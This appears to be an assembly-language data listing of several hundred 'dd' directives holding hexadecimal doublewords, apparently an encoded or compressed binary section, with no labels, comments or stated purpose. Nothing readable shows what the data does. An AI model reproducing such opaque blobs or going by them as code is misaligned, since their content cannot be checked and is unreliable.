dd 5D73D87Ch, 93307A3h, 0D04620E8h, 4C03D475h, 553B17F0h
dd 0FF65800Eh, 1B9BB903h, 6EB87638h, 0FB8B4462h, 0ABF34A80h
dd 0F633045Fh, 83C04D8Dh, 620EC4Fh, 58DC66F0h, 0E00C06F8h
dd 0B4FD4BE8h, 24D8F639h, 1C43B976h, 83CEC0F8h, 558D03E0h
dd 0E1C1C00Eh, 0A4C8EC04h, 4BE4A1F4h, 41A00021h, 490F73A8h
dd 2551FB81h, 6B81BC44h, 40C98D04h, 60834F24h, 188C12FEh
dd 2EC10E6Ch, 7DF44D89h, 0EBBA19F3h, 0E50A260Dh, 3EED405h
dd 0A3ECBF5h, 0E070FB06h, 56227428h, 2BE85501h, 10048AC7h
dd 8788B39Fh, 3F75FFD0h, 46CE57EAh, 1ED43E65h, 3424260Fh
dd 748B60B3h, 43C06886h, 0E8CC0677h, 0B64E923h, 71883D10h
dd 4DE46C7Ch, 8A33E88Ch, 6366584Dh, 8073E845h, 45C72F0Dh
dd 2C410DE0h, 5917FCF8h, 0BF85EE83h, 221F1D42h, 0E0E83298h
dd 52828531h, 0CE413F75h, 0D110040Fh, 0E84382CFh, 7518A2C8h
dd 7AB866Bh, 0FF81EE8h, 2448CF9Dh, 0B893A5Fh, 0E988CF2Bh
dd 1A7B2665h, 0B107D088h, 3CB74AF8h, 0E9021BFCh, 0A5219741h
dd 0C68E10B0h, 144E0575h, 6A27EBECh, 7645C888h, 0EBF01870h
dd 8FA8DA09h, 0F3DC5B8Eh, 0C55EC12h, 98FEDB67h, 2FF47528h
dd 0A6568F2h, 0DB55DA5Dh, 45694C5Ah, 0FD7E1281h, 55E9F82Ch
dd 85B6BFA6h, 0DC6D3C59h, 0ADF20CC7h, 27067524h, 664207Ch
dd 20A35ADBh, 0E8340A60h, 0F80C9192h, 4C7C9704h, 58243E03h
dd 0D4519DD9h, 726E706h, 60188445h, 0FC774503h, 4D7C2141h
dd 8341C88Bh, 0E7ECF9D1h, 1D497F01h, 0F0D302CFh, 1A7D0E28h
dd 8B52ADC2h, 2B46C0D1h, 4B5EC2C8h, 8224055Eh, 0EB260156h
dd 0E7518D21h, 5D35997Fh, 35231EFBh, 0E945EBF8h, 9B356A50h
dd 8011A621h, 9680D8EBh, 0FFF8547h, 7EA38984h, 2A02F624h
dd 0E876E9A0h, 87E0C248h, 0A328808h, 0F4D6C142h, 0FB47AF25h
dd 0C443166Eh, 0A83B057Eh, 9ADB72D8h, 0C0CFF103h, 0C09B820Fh
dd 5A5E5B6Bh, 4100C933h, 74E82CACh, 0E8C8FE06h, 0FBEB5102h
dd 0F20FADDCh, 0ABC11C2Bh, 3B04C083h, 87E575CAh, 3048DE58h
dd 0C3h, 0B0000000h, 25230000h, 0A0770041h, 10000000h
dd 47120040h, 0
dd 0FFFD6F00h, 0B4547DFFh, 871721A3h, 16821FAh, 0E3C651CEh
dd 19C13D60h, 3FD1AA6Ch, 22CC4C59h, 0F1FD665Eh, 25DA94C3h
dd 526C0047h, 4A924CAh, 118AC2h, 6421CED7h, 0F9892B5Ah
dd 427FFC68h, 53EA7736h, 29A76D1Ah, 0EF1F9BB0h, 95C440A8h
dd 8C5141BCh, 321121B1h, 0BFD67659h, 4918A186h, 4D97645Ch
dd 0A56E1485h, 0D9163E9Fh, 5C00EC94h, 0D3C3CA66h, 0B7711C76h
dd 0AC4004A1h, 0F57DEF18h, 6266A862h, 582C1E4h, 9F99735h
dd 0EF14EACDh, 0EB7B54BDh, 1B5BC526h, 96F46F0Ah, 0A8088531h
dd 427D939Ch, 42957E8Bh, 0D4EFAB9Eh, 0C75828DAh, 0B3B5B3B4h
dd 0A1A54725h, 863AC4ACh, 7FDBA1B9h, 0D5F0DE9Ah, 0F7BA623Ch
dd 55F9E433h, 0C9D3C649h, 1D1B8205h, 4DD0D386h, 5E9F5B22h
dd 0CEA32069h, 0E84E6A74h, 7767FA07h, 68D14907h, 1A9D428Dh
dd 8A57207Fh, 1387F01Ch, 8D47FF2h, 0BB1E8F6Bh, 0A06BB451h
dd 70EF274Fh, 0A833C198h, 2AD659FDh, 0FE24417Dh, 0C73D9792h
dd 0F6D89929h, 744BFA68h, 1BF122FFh, 796DF1C9h, 63640BB8h
dd 7C4FF3D0h, 937A49FCh, 1B691899h, 5E4B022Bh, 0BAD1DF52h
dd 0F7F04AC8h, 0CAFA9FECh, 2B834AFBh, 0F826369Fh, 0B49BF129h
dd 4B1FC96Eh, 7DC7B259h, 5F06D77Eh, 9F2C1C81h, 0AA57304Eh
dd 2E308AF2h, 76B9F29Ch, 0EAFEEA55h, 0DAFE036Ah, 25B29F65h
dd 8F34FEABh, 56E6F107h, 0F3567B6Bh, 29AD1B00h, 968C0F2Eh
dd 4CBB94AEh, 27D49319h, 7218651Eh, 78247129h, 0AF897C46h
dd 5AA70F88h, 0C201F873h, 0FD38A1C5h, 0C79D583Dh, 54C58474h
dd 0FD7DD85Fh, 2A91B71Eh, 0FD9F7239h, 26A118DCh, 0E611BFDCh
dd 0B26E72D6h, 25505F3Dh, 1A958B6Ch, 0BAEBD411h, 0CFD4F046h
dd 55387F06h, 0CA7C363Ah, 3B11BC85h, 2A5CEFDDh, 5060B341h
dd 0FA7B71E1h, 9EA9DADFh, 14711CA0h, 59136DCh, 0F8DCED22h
dd 6599E9CCh, 0F2F6001Bh, 0C617B59Dh, 9B9C7C9Bh, 7CF34B85h
dd 46FE6F70h, 402E9872h, 645B9275h, 4C7DCC03h, 22BBB99Dh
dd 0A31AC3F5h, 0B7890104h, 1DFD45FDh, 3A5FC9E7h, 0C29A0914h
dd 0FF9442F0h, 8BA15FDEh, 0BAD029C4h, 0CBC06A04h, 747A12D6h
dd 59F2EF8Dh, 0DBEE0F27h, 0F77F00D9h, 4C0D29A1h, 1F162E52h
dd 272EFB49h, 9E4340B5h, 72AF8FBAh, 0D9171EAAh, 117F5F6Ch
dd 761796D2h, 319D324Ah, 4DC45814h, 310E798Dh, 0B9E40337h
dd 0B7BBC2B8h, 112816FEh, 0CC95CF06h, 27234157h, 98812BEEh
dd 0E0B463C1h, 0B15F0E99h, 2E79D05Fh, 0B5CA5FCEh, 77E80BF2h
dd 0A887FAAh, 3F5245D4h, 304848D4h, 3A153D18h, 0AC355F2h
dd 0B77E128Eh, 69866660h, 0DF1FF844h, 800EAC65h, 0CFEC8F0h
dd 0D29A9CEAh, 0F247F710h, 0B6E49445h, 0BE73F1CFh, 0B8D0BAF8h
dd 0BDF2BBD2h, 28C749EEh, 9EBE99F2h, 0F3634E98h, 410EA98Ah
dd 0BCCB9AD7h, 8C4AB487h, 9DC0CE05h, 4FD9DB93h, 0F86CE465h
dd 2103F62Fh, 523D9B67h, 318D53EEh, 0F3096523h, 9D1D18EDh
dd 59B4F78Eh, 35BDF837h, 0BEE71547h, 0B20E6BE9h, 73CBE7C2h
dd 0AEDEDEA2h, 8A8B2E24h, 51F9A88Dh, 17CA7444h, 0E34F02D7h
dd 0FC94AA1Fh, 0F401BA7Dh, 44CC19A4h, 0F4C4D058h, 0E8EA9EF6h
dd 66F3D25h, 951D8A7Ch, 0DDF2C96Bh, 172C0F2Ch, 16FBEA7Dh
dd 0B71457C6h, 6B22CCEBh, 0CECF289Bh, 3D869228h, 0EB848D65h
dd 877985C8h, 668307A8h, 1359D28Eh, 1FDB1F1h, 6F2FF2A6h
dd 9AC72333h, 334C120Ch, 670EA796h, 5284CF21h, 4A115666h
dd 0BC695417h, 812C6185h, 5B33ABF8h, 0AA8DB04Eh, 2085ADA1h
dd 0ADF79E6Bh, 73D97842h, 93FC02B6h, 8CC5E94Fh, 4D73498Dh
dd 0CA0F4E95h, 0ED14FEC8h, 0E8C3B442h, 8E4C573h, 0EBC94B95h
dd 0E7172CE6h, 82E66646h, 4F797532h, 0CF020AC0h, 1326EB36h
dd 6E45EA58h, 80BF603Bh, 215B50A7h, 0EDB9E5DCh, 7C09CD52h
dd 1748ECC1h, 81FD5CBFh, 77A5A7A2h, 0D88D9249h, 938B998Ch
dd 2E190E2Dh, 0D5AA6E35h, 0D5DDE4C0h, 0F12940EEh, 470CB0E8h
dd 3218A480h, 5EF7800Fh, 0B8E8AFB9h, 0B9EB14EAh, 0B7C3C95Ah
dd 4DA5E4BDh, 2DC4BA79h, 0E871AF5Bh, 0D1D1194Fh, 431B2016h
dd 2CA3810Ah, 0D0CB3FAFh, 0C5D71D1Bh, 0D812CCCAh, 0E7A07D5Bh
dd 0E0B22310h, 0E04B3277h, 5D2C0778h, 15241B5Fh, 0ADE3Ch
dd 6FD72B8Bh, 3D9DFE33h, 15B2165Bh, 95480DE0h, 0C8E08CF4h
dd 40A2F542h, 1227496Eh, 64342690h, 5D4D3625h, 0B7A7FB73h
dd 36C10510h, 9E51E002h, 0CC2F05DDh, 0DC74EF3Eh, 4D848F5Eh
dd 0F221C7AAh, 8AF0DFF3h, 3D79EBB4h, 0AF06F779h, 56B2C112h
dd 0A02C66D7h, 0C6E9C8FEh, 0CCA71AC9h, 5726CAA6h, 21B2531Ah
dd 0A6C8F119h, 0EC7C800Ah, 25D0D18Eh, 2A67BD50h, 0EA1473ADh
dd 0C51FF9AAh, 7980D499h, 6068B127h, 0D6C5F4EBh, 1033EE0Eh
dd 0B0328A57h, 0A99E901Ah, 6383779Ch, 0E08AE69Bh, 7588DEF2h
dd 825CEBD3h, 76D88854h, 631B9971h, 69526E75h, 0EBBCD668h
dd 43A37964h, 0A7B3B327h, 913AFBA2h, 7AFB2F9Ah, 83931ED7h
dd 9C834679h, 9EC8CA29h, 6E3B8524h, 3BBD33B8h, 24EBB93Fh
dd 7F90A31h, 6EED2541h, 8ADC96DFh, 48F1F045h, 51E18117h
dd 1ECB5C82h, 8FBCF3EAh, 7DFC64DFh, 0A4159A6Fh, 0AA13CB3Fh
dd 0DA3A5350h, 5863060Eh, 4E598B72h, 6D961B22h, 4A84588Fh
dd 1569117Dh, 570F2883h, 5187A195h, 52B16F72h, 3EEA17Fh
dd 803951E5h, 9EFD97D6h, 486EFEEFh, 0DDE702F2h, 0E96C2C26h
dd 72C0D908h, 8CA5A2Ah, 7DFA33F5h, 0CBF12EFh, 0BB2035A2h
dd 324A48E1h, 1BE1EADh, 8B0B051Eh, 8CC81103h, 511FC9D1h
dd 2FFC95B0h, 16A3FE90h, 0F128B3CCh, 37A962C1h, 0C87A7F76h
dd 24630417h, 657BE9A4h, 0AE55FF7Fh, 0B7A16EC5h, 0FB11F360h
dd 1E62A73Eh, 0DC5B525h, 0B886F0FAh, 9D210114h, 89BF0291h
dd 29653262h, 0D2977495h, 0FF2EEA92h, 7E012FE0h, 0D057BAF2h
dd 0DD2715DBh, 0F7831C1Eh, 0CC13F0A6h, 0E102BF71h, 0DF8777F6h
dd 0D7849964h, 5A337B01h, 0EC756DABh, 8E3C3054h, 99EC9165h
dd 6D039649h, 0F861DF3Bh, 687E2AAFh, 2A2EEB0Dh, 16C12230h
dd 0FA971875h, 0BA1DD37Dh, 0C606C891h, 646A77E5h, 9C400A40h
dd 83177872h, 0CF8AFD71h, 0DFEA58CDh, 1181F376h, 0B759ADD5h
dd 9D92BBA4h, 415F0197h, 21C424F0h, 93CF8D2Bh, 0BF7F7CE9h
dd 0ECE15B15h, 0D4B982FAh, 836671C0h, 617A21Bh, 0E1CC40E8h
dd 70BBECFh, 0C29320FDh, 0F46D17F6h, 9EE78505h, 0F808914Ah
dd 73439A4Ah, 0EBE164EFh, 4747A4EFh, 0C7073DA0h, 0A9AA7853h
dd 31CE15B9h, 0EC7D78Ah, 29D6AF38h, 0D6C9A9D5h, 5C99145Ch
dd 8BB42EF0h, 7F48EEE9h, 968DF4E6h, 231305D4h, 32701C67h
dd 795D6371h, 817DACF8h, 0EAEEBA50h, 28FA0DF0h, 0AE9F5E4Fh
dd 5E1B779h, 724F4239h, 0B9DB4183h, 10F73564h, 7BC6D744h
dd 0E77CA69h, 0A887AE87h, 2648064Ah, 2FC6BA23h, 13AC5961h
dd 0B05FAB05h, 38DC14D1h, 9EB7B5FFh, 0EB9E196Eh, 72890662h
dd 0DDFF96FEh, 5EBF78EAh, 8F7545E2h, 316489CAh, 1DFF5947h
dd 0F52EE832h, 6C820CA0h, 19D564F6h, 4B0C2232h, 78D0051Ch
dd 58A9C80Dh, 1FF6178Fh, 7A2B02CBh, 5B32E9D3h, 641A6F2Dh
dd 4287D2F5h, 33D7BFC4h, 0E2502F78h, 883FDA29h, 231B229Bh
dd 66921CF9h, 41A925C2h, 9AD7B2F8h, 0E5D7C2BFh, 961E7B63h
dd 0A7BCC600h, 9BEFCEEDh, 0EAAB52AFh, 0E7DE7F87h, 3C4EE229h
dd 0D0DA87CFh, 4B69E05h
dd 71DEF5F2h, 0D6867C4Bh, 18CC12E3h, 0E80297D9h, 5BAEB8B5h
dd 7EB85AE0h, 168C6A54h, 786A6FBCh, 10C0D325h, 83F4CABh
dd 4AC7ADF8h, 5B0D1A1Eh, 1AF1D6C6h, 830D538Dh, 0D3448A84h
dd 0B4771Fh, 0F0ACE818h, 2A1B714Fh, 720B51F0h, 0E8E39720h
dd 0F48A91D7h, 0AA138FD1h, 0C9D1806Ah, 8D09973Dh, 2332D93h
dd 0D2E5AB7Eh, 4C2CA9F2h, 2C90F279h, 0E4C4D0C7h, 1F146ED8h
dd 0E5E0B284h, 95F666B6h, 23244AC4h, 93E46B70h, 152D2763h
dd 2F036493h, 0CE7C1EABh, 0DA6D4E42h, 36091432h, 7025CA2Fh
dd 56A8646Ch, 0C6F2D270h, 0EC48658Ch, 0F5BB9451h, 6D9E2372h
dd 0A40EB339h, 92702CA0h, 0C7B7C1DDh, 2A523EADh, 7D650622h
dd 9987E5B6h, 273EBAA0h, 3405452Bh, 53B19654h, 0C18407Fh
dd 0D71BA97Dh, 0B4A3BFE2h, 0E31634DEh, 803907EDh, 9F16A4A5h
dd 893C98BDh, 0AFF892BEh, 0A73DD3A8h, 71A89571h, 4287E285h
dd 0D5418C27h, 26B33954h, 9774F26Dh, 123BEB7Eh, 2F74445Bh
dd 5FC69EAEh, 0AA6228h, 0B132E88Ch, 0C333D1D7h, 3EF6E551h
dd 660BC949h, 0C178FCA7h, 819C7B56h, 0CAA98862h, 3640D332h
dd 0E80EAFEFh, 78454A1h, 28516D71h, 8EDA9571h, 0E18F1D4Ah
dd 0ED66A62Fh, 0AF8AE480h, 292AD42Eh, 0C844F81Eh, 9EE12BE2h
dd 0A1D0AE4Dh, 8B6630ABh, 0C21C6F33h, 7AAA996Eh, 0D950519Ah
dd 7B7F2C79h, 0DB2B096Bh, 0F95C2F79h, 4580C0E7h, 6C2999F7h
dd 4D763F5Ah, 19FE1967h, 0BB49B77Fh, 7FA5AD98h, 0C067377Ah
dd 0ADAC5B15h, 926DF001h, 50D5CCB0h, 63A6C5AAh, 2BC32111h
dd 0DA23568Ch, 0F8389DCFh, 4686EF9Fh, 5C7980DAh, 0DB8E5567h
dd 6A68B69Eh, 0E431F782h, 8D863193h, 0AF7E386Ch, 0AFE36D65h
dd 22B6CA71h, 58FCA7A5h, 0C13896ECh, 7D277DA8h, 3352786Eh
dd 0C6132C7Eh, 34EE2DFh, 41A97DBBh, 11674889h, 85CEB45Ah
dd 0C7A2E684h, 0F307332h, 3782BDD6h, 0D877B3D1h, 4878E8E6h
dd 6210903Eh, 6C1E1E8Fh, 1CBE23ABh, 0FF67D6E0h, 3CF5EAB2h
dd 2756855Dh, 71ED9B83h, 0F5F361Bh, 6263FDA7h, 858B96F7h
dd 844E19F5h, 0C20BB526h, 837E4F37h, 6FB3177Ch, 45AD743Ch
dd 0FC430530h, 92DA6C8Ah, 2F0F4DD0h, 6190AFBBh, 2CFF0CE9h
dd 39D71F31h, 0D1060E5h, 0CA472AFFh, 75CA856Ah, 0AA383473h
dd 4BA55CFFh, 8F9C0CD3h, 0FCBA6799h, 23610F3Eh, 0ECAC7878h
dd 0B7787F7Fh, 837E03A6h, 0C7B8D1F8h, 52E71C7Ah, 33633E3Eh
dd 0D14D73C3h, 2BA2EEB4h, 8525E5D0h, 0E36EF50h, 3C64C06Bh
dd 416B1AD5h, 0EB580125h, 791BC052h, 0AE943D2Eh, 612DA64Dh
dd 23467B61h, 0E16E74B7h, 34527568h, 0F2C7F39Fh, 17EB2B04h
dd 81DBAE14h, 91BC6F8Dh, 0B22E21C1h, 21726DF0h, 95D207C4h
dd 3A630952h, 5BAB9C00h, 0B8E594ACh, 0EA3E14EEh, 6A3BB7CAh
dd 0BC66794h, 0A87C8C18h, 78B29033h, 91791A4Bh, 2E43AFA1h
dd 1222949Eh, 46197E5Ch, 5038846Dh, 0F4541BE2h, 2A45AC98h
dd 0BA950A2Dh, 0B60A333Dh, 0A00D4652h, 7CA620BEh, 47768C0Fh
dd 0A0B77529h, 64D3C69Ch, 80677E78h, 0DBCB35EAh, 0B15C98B4h
dd 2EF935Ah, 19FAF01Bh, 403CEEB6h, 0F5F3A7D0h, 0BA43AD14h
dd 57D0EC04h, 787BF1A6h, 1D6D349Dh, 0FBAFE3DAh, 0D9811FDDh
dd 0D7EE4D0Dh, 0D3B37A75h, 1BC6093Ah, 23BF4460h, 0F38FB034h
dd 0EDE2684Eh, 280453A9h, 331F4AFEh, 7B4A0B60h, 9884B6BAh
dd 0F6F8C4FFh, 8124890Ah, 611064EBh, 0E4CA15C1h, 27378E6h
dd 0B964FDF7h, 1F0C98C1h, 7548B38Ah, 167BC6D8h, 0E6867F3h
dd 0BEA6F0FAh, 679436DBh, 591DE4B3h, 401A97ACh, 5414AFB2h
dd 0A5B6352Ch, 0F5D38227h, 6864B28Ch, 7A22B307h, 251C4EE5h
dd 77D69486h, 0AC2DF14Ch, 2E84666Fh, 69909E40h, 9FF60149h
dd 69FCD09Ch, 0F094897Ch, 16A3C730h, 8EC97072h, 951EC04Ah
dd 7189297Fh, 22093A8Bh, 42796C0Ah, 408A8F01h, 0BA712765h
dd 24079F55h, 0FFECBB87h, 97FAE168h, 0A98700Ah, 0D9B9022Ah
dd 7D7344Ch, 0B30224DFh, 5C00024Ch, 0B1429BBEh, 0C8FD4DB6h
dd 0ADC8E2ADh, 0A764A89Fh, 0D4B53614h, 3D73C094h, 6DB28A9Ah
dd 54B5B388h, 0E7CFF0D9h, 42E72C68h, 0C697BBEBh, 0EEED801Fh
dd 7FAA3D90h, 3760FA4Fh, 3BDB0BD4h, 7815B9A9h, 79889994h
dd 0D694A54Dh, 0CD35DDADh, 0D4A12733h, 0B42A8DB1h, 3BF35EDDh
dd 55AF9C52h, 85CB5AD5h, 0D32D4BEBh, 0B0C94CEEh, 343BDF51h
dd 0D1AB1E19h, 203DF21Fh, 1B9749F1h, 86A469CEh, 183A8792h
dd 15EDD6D2h, 1C8DE70Ah, 1EB21667h, 0E7EC9F45h, 580B1C47h
dd 7692A63Ah, 2141D6C9h, 0EB5A2F22h, 7878E0BFh, 6B60DD0Ah
dd 0B1E59E85h, 0E81B57F8h, 90A3FA57h, 0FAB52731h, 0AD670CEh
dd 8D333BFBh, 0B19CA3F0h, 26225FCBh, 2FEBBF5h, 0DF8F7400h
dd 0DC4A6968h, 24020470h, 0AC143C3Fh, 8E3E667Fh, 26ECF096h
dd 1E895934h, 6C8A6815h, 292358ACh, 7396DDFFh, 3027C4B7h
dd 44CDCCEEh, 84DF1C1h, 0CD2DBCF0h, 1EA9559h, 35ACF4CFh
dd 0DC878672h, 5E641E06h, 0F3F85AE0h, 1C2D8FCDh, 600241Ah
dd 0F1FC601Fh, 770380EBh, 0A3FA48C9h, 0F9446A0Ah, 25FC9CE8h
dd 178828B7h, 0A56FC818h, 6184D2A8h, 3145313Eh, 38E9DA18h
dd 233F419h, 529C13DEh, 0FA90A74Dh, 6ED80A9Ah, 9275094Fh
dd 8B3F16Dh, 0B7FEC3A7h, 50ACD4F1h, 0F1C90D2Fh, 38EE189Bh
dd 0CC91B945h, 7CF34830h, 45C42C52h, 0D11A465Dh, 84BA1929h
dd 9999C66Bh, 0C0A9DB6Fh, 68E67FC1h, 3B77839h, 72165289h
dd 5A617696h, 938B5BFBh, 0F4A19157h, 4B7B2DDBh, 8D7453C0h
dd 0FAE1B617h, 0FA794A6Ch, 89DC5171h, 0F97831A8h, 0B800CBFAh
dd 8CCB1136h, 8D540484h, 0F8C292F6h, 40AC2C68h, 0B1D99590h
dd 0E15F5F80h, 2376F52Eh, 1D1910D8h, 19B306CCh, 8220ABB3h
dd 114032EBh, 0B69C781Ah, 0E1166810h, 0FD55A998h, 0CA8AFD3Fh
dd 0AFB4109Eh, 29678F88h, 2C6FAF08h, 768E1F26h, 0CBA2F5E1h
dd 72548ECh, 197D7CEDh, 7EA1D173h, 0CB8DA281h, 0CFC013Bh
dd 2DB6A20Fh, 0A99F82B3h, 6ED2271Fh, 83103ABEh, 1C631AF2h
dd 0F58AE72Fh, 0A97E90E1h, 8B2C9E09h, 271D62Dh, 0F778A5D7h
dd 0F472E64Ch, 6D91F951h, 718A42E6h, 12E67783h, 0C9A1B90Eh
dd 6C3D0699h, 0F4273A3Dh, 0E2991BDDh, 0F6804850h, 0B23072F6h
dd 9285ED6Bh, 0C1CF64CEh, 3E3E7A47h, 825F24Ch, 1E1369C1h
dd 1312F348h, 7A082DADh, 23559F85h, 0C8D48024h, 0BF1B3E4h
dd 0E8D91F0Fh, 4303C2BFh, 98A76DDAh, 8906313Fh, 0C72F8363h
dd 0ABA542C9h, 0C8050F49h, 8398128Fh, 3985FC31h, 16873D6Ch
dd 41A7346Fh, 9CF91349h, 474EF6AAh, 86EFE64Dh, 8CA0CC56h
dd 4B410B1Ah, 0A31F4201h, 28D6B365h, 3D581F1Ch, 87A3DC50h
dd 47B321F4h, 60755722h, 0F2584Eh, 0E09EA660h, 0FABB274Ah
dd 9FF1C120h, 0DA38336Ch, 7E1AF541h, 44532529h, 3E67CD3h
dd 83EEE6EDh, 962DC855h, 89D8E4D7h, 0CE1719C7h, 0D5F72E28h
dd 0C2CF93Eh, 5BC90C67h, 80B54127h, 5A3BA305h, 0B12F5C6Bh
dd 0DA7CA856h, 2A44429Eh, 0D977116Eh, 0E03F9DBBh, 8C2A3BE9h
dd 954F543Ch, 0F103870Dh, 36BD297Fh, 3BB18CF2h, 3C8E2D43h
dd 0C130AB25h, 34E9A20h, 7C9644F8h, 0FA6D2259h, 7970CDBDh
dd 4798F15Eh, 5DE09C5Fh, 7F146F55h, 0C0D3AD0Dh, 0E861EB79h
dd 60CC3CD8h, 8FCFFF76h, 837963F4h, 0B237EA9Fh, 55EBB389h
dd 5F2CDF71h, 74719CF6h
dd 36DC21D1h, 2B506DDh, 778215C0h, 0ED42117Fh, 0A4C47CF5h
dd 0A65AD0BAh, 919FCBBEh, 94AD0AA2h, 6F61C56Bh, 9330E2A5h
dd 53F8926Eh, 0D1B1BA1h, 0FF7B86E7h, 15B8267Ch, 7F89A524h
dd 9657FC92h, 0A80BAB14h, 919B2E0Eh, 24A80AB6h, 0C97BDC71h
dd 0F5916FEDh, 13EFC610h, 0D4277F0Bh, 1E3666ECh, 0CF42B977h
dd 77312B23h, 37CF4C3Ch, 88BCEC32h, 74BC95C8h, 94B43577h
dd 8B623F1Fh, 72E1BB6Ch, 0B263C65Ah, 8EF51AA2h, 0EF8E61EDh
dd 0A4BDA343h, 6205609Bh, 0A556FDFBh, 0E80B5492h, 88AE73AEh
dd 669E0692h, 302D8610h, 73C746E8h, 3C8141C4h, 2C57F7D7h
dd 684DF214h, 0F86250CEh, 3E7754BCh, 173EA471h, 0EF9D8E6Ah
dd 0D2C0661Ah, 0AA00DB95h, 0CB461A35h, 0D0B32A55h, 8208496Dh
dd 6F701582h, 8A13EDB9h, 82BA1CE6h, 1B80B6A4h, 0B266B728h
dd 1BBAAEF7h, 410B9F65h, 404CC9A0h, 5421904h, 8DE3F98h
dd 0EC404AF9h, 58D6E58h, 32EE752Ch, 0A37ECEEDh, 0E17CA452h
dd 0C141B0EDh, 5A51BC9Bh, 0A4E696D5h, 995C59B2h, 2F5563B7h
dd 233CD188h, 0E0D223CAh, 495F0E4Ah, 0BA2C409h, 1B9EB5DDh
dd 6B78FDA3h, 0D3DF5982h, 0FB7426CEh, 0BE01E668h, 8A05E054h
dd 5360A6F8h, 9C5F11Dh, 5A522054h, 774FD9A1h, 0A90B79B9h
dd 0C566030Ah, 93FAF8DEh, 0A1B19F8Ah, 0CB02D054h, 0C824D836h
dd 376FAAFDh, 0DD71882Fh, 0FD65779Bh, 6CE27BFAh, 7ED85D13h
dd 87FA6601h, 0BEEB9152h, 0F677116Bh, 97D7D37Ch, 556E6F56h
dd 766AD390h, 307F9547h, 0AD39807Dh, 0DA334C5Fh, 5C75853Bh
dd 0C8A04FC7h, 0B41EA4D3h, 0BE38632Dh, 17BAE32Fh, 0CE65AEECh
dd 0DD8E040Ch, 8127B0CCh, 0CC71E735h, 7103CA81h, 0B5B4A673h
dd 5DFA5501h, 0F7B64258h, 0EB96CE1Ah, 984D7DF0h, 4877BEC2h
dd 5401A7FEh, 45DC1370h, 0E5FD3F95h, 1CB7D370h, 8781E000h
dd 1A9AB4BAh, 3E19DF60h, 2B0A065Bh, 9EE929B5h, 50DC6B0Ch
dd 0E404BC89h, 0B81E8620h, 60290BFAh, 2FE4D084h, 10495C77h
dd 0EC4F52CEh, 94B64A22h, 0C7FBBD5Ah, 8F601423h, 37DB49DAh
dd 0F0750F4Eh, 86C3DDD7h, 0CD3D24BEh, 68134FD1h, 0B5D16065h
dd 8C8526FBh, 904DEB92h, 0C121582Eh, 9345FB40h, 6709C361h
dd 8A180F52h, 80A7F8C6h, 793F2300h, 601A9F20h, 6858272Ah
dd 64FF7A10h, 0FF9B99BDh, 0C1851291h, 761401A8h, 0BA8C74FEh
dd 8DF4E881h, 8AA3D0C7h, 7F8130Ah, 9C6B9253h, 8F41E6C8h
dd 22C19D7h, 0BDE2EB52h, 0D1479C7Ch, 8FE2C01Ah, 8B9CF6D9h
dd 0FC4FD3C8h, 0CBCFDF65h, 0F7015596h, 0F763F91Eh, 68F5F0D9h
dd 5169A2D7h, 0CE5511CEh, 4B3D4D5Dh, 8CD97934h, 5B45907Eh
dd 0A1D745D6h, 0B6375E82h, 0DD7A5FCEh, 0D16D2468h, 207A9E9Ah
dd 922574E0h, 0E6D6DCF0h, 0FF979E58h, 0A916B8CFh, 1373B03Ch
dd 6FB73937h, 0FB5FB9E0h, 1C766D51h, 8F9EB2C9h, 740E2617h
dd 48C10A18h, 49637046h, 51A315B4h, 0F58AFFF3h, 0BA34DBh
dd 0F41AE657h, 0C8F02715h, 8B1052CCh, 0A968C168h, 0F3F7E6BCh
dd 0C0F8C16Ch, 0BB49C318h, 6868FACAh, 20337F88h, 4D2946Ch
dd 0C4E795C0h, 65CB3736h, 0C471A428h, 8E1DCD30h, 0D4287A2Dh
dd 4ACD78E2h, 4C93E169h, 6141D97Ah, 8DB8822Ah, 3D11ADBh
dd 0FBA71738h, 0ECC14A8Fh, 644B1652h, 0F6B1DD63h, 76DCC8FBh
dd 97A558Dh, 686A483Dh, 749ADA14h, 6D1EB3F2h, 0DB891D3Ch
dd 84645F80h, 0A396CD5Eh, 0CE0EE30Ch, 0F6E0561Ah, 4B49F823h
dd 16501217h, 67ABAF76h, 25AB407Fh, 98561E4h, 68800AE1h
dd 9C21C0B5h, 0E6EEFB0Fh, 0EFAC3479h, 273CBA61h, 6169B2BCh
dd 8D4F07CFh, 0FDD83BB0h, 57C357Dh, 595EF2DBh, 0B3A5DA66h
dd 33DE62D9h, 95D2F2Ah, 57B48AEDh, 0C1318E37h, 98B23E33h
dd 43A0625Ch, 8186F242h, 19FE337Ah, 0CB32296Ah, 0CB4C0814h
dd 0D1FCD575h, 22ABC3D5h, 6BBF4C5Ah, 0E16F8D13h, 5C97D042h
dd 93543FA1h, 0ED7B17ECh, 715EA67Dh, 6567EB55h, 0AC280CF0h
dd 67E41C4Bh, 0E697A35Bh, 9033D0A4h, 3FDAC75h, 0E199F341h
dd 0D46BB878h, 0E1293BBFh, 7EA599F8h, 35992617h, 0A4A5151Dh
dd 19950C83h, 0E1E9BC9h, 7C4DDC69h, 755F1891h, 8F36792Eh
dd 0BADC61A7h, 570F9CB9h, 0C5B68652h, 2C817A8Eh, 0A6A4F43Dh
dd 0FE401A79h, 0F0670BE4h, 19B1C723h, 870651BFh, 9A01AE49h
dd 0F44FB299h, 0BD2E3765h, 2EE48473h, 21E5C929h, 98313157h
dd 0FA00256Ah, 502AC80Ch, 0BB41A5A7h, 0A4DB5C1Bh, 470CC4B0h
dd 0DF59CB54h, 4D29A87Bh, 556E38B2h, 79B8A70Eh, 0F99EADB1h
dd 154145FDh, 61A7DB47h, 7D719053h, 953B54ECh, 0EBD6CFE4h
dd 95B85476h, 0C3160E3Eh, 0F4136118h, 0CA5DF5F1h, 690FB27Dh
dd 2017C192h, 5B392212h, 0DA29244h, 0C6C0A608h, 0D2541CB4h
dd 0DD9AB367h, 0E8A85DBFh, 9B332585h, 97A951D2h, 0F91A274h
dd 6D4E8BE7h, 0A52EB3ADh, 0C981B4E1h, 2BF44611h, 0DC9FF41Eh
dd 0E7278AC7h, 51862778h, 822E28Dh, 689BB816h, 0ADE3E79Bh
dd 8A251F69h, 0F7EE5687h, 0E09D018Ch, 3B67F886h, 0B3259FC7h
dd 34FFAC52h, 4CFF9593h, 43E058D5h, 29C83B1Eh, 0F72D292Bh
dd 9412C86Fh, 0B1709B1Ch, 0C2A167A8h, 0A00DCDCAh, 6A00F39Bh
dd 0C19EFD4h, 9DFF0A56h, 2C406711h, 687A8370h, 6A9A5FC7h
dd 0F6C414DAh, 0D7CDE1E3h, 7FB10BECh, 2DA8591Fh, 8EC11E65h
dd 296AF0C7h, 0E75AB92Dh, 9A977CC6h, 628942C8h, 134A3764h
